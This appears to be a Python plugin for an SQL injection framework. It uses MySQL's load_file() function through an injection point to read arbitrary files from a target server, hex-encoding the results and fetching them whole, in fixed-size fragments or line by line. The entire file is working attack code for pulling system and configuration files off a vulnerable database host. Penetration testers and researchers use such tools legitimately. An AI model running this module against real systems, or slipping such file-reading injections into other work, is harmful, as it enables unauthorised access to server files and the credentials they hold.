import logging
import binascii

from framework.queries import Query
from framework.interfaces import IPlugin
from framework.baseclass import BPlugin

class LoadFile(BPlugin, IPlugin):
    def __init__(self, api):
	BPlugin.__init__(self, api)
	self.__logger = logging.getLogger('framework.mythreading.LoadFile')

    def name(self): return "MySQL LoadFile"
    def description(self): 
	return """
	Reads system files through mysql load_file procedure. It's possible to read a file fragment by fragment, this
	can be useful when you have an injection that only returns a limited number of bytes.

	It uses hex function to encode every query and result, avoiding encoding problems.
	"""

    def parameters(self): 
	return dict(
	    max_char = ('0', 'Maximum characters to read on each request (0 all).')
	)

    def init(self):
	pass

    def commands(self): 
	return (
	    ('read', 'Read file','read <filename>', [('filename',(), None)], self.cmd_read),
	    ('read_line', 'Read Nth line of file','read_line <filename> <line number>', [('filename',()),('line_number',())], self.cmd_read_line),
	)

    def readfile(self, query_select):
	data = self.get_session_data()

	try:
	    query = Query(select="(char_length(hex(" + query_select + ")))")
	    flen = int(self.make_injection(query))
	except TypeError:
	    return "Received an invalid lenght of file"
	except ValueError:
	    return "Received an invalid lenght of file"

	try:
	    chars = int(data['max_char'])
	except ValueError:
	    return "Invalid number of maximum characters."

	if chars == 0:
		query = Query(select="(hex(" + query_select + "))")
		content = self.make_injection(query)
		self.print_msg(binascii.a2b_hex(content))
	elif chars > 0:
	    try:
		for i in range(1, flen, chars):
		    query = Query(select="(substring(hex(" + query_select + ")," + str(i) + ',' + str(chars) + '))')
		    content = self.make_injection(query)
		    self.print_msg(binascii.a2b_hex(content))
	    except KeyboardInterrupt:
		return "Reading of file interrumpted."

    def cmd_read(self, **event):
	data = self.get_session_data()

	filename = event['parameters']['filename']
	self.readfile("(load_file('" + filename + "'))")

    def cmd_read_line(self, **event):
	data = self.get_session_data()

	filename = event['parameters']['filename']
	line_number = event['parameters']['line_number']

	self.readfile("(SUBSTRING_INDEX(SUBSTRING_INDEX(load_file('" + filename + "'),char(10)," + line_number + "),char(10),-1))")

def load(api):
    return LoadFile(api)
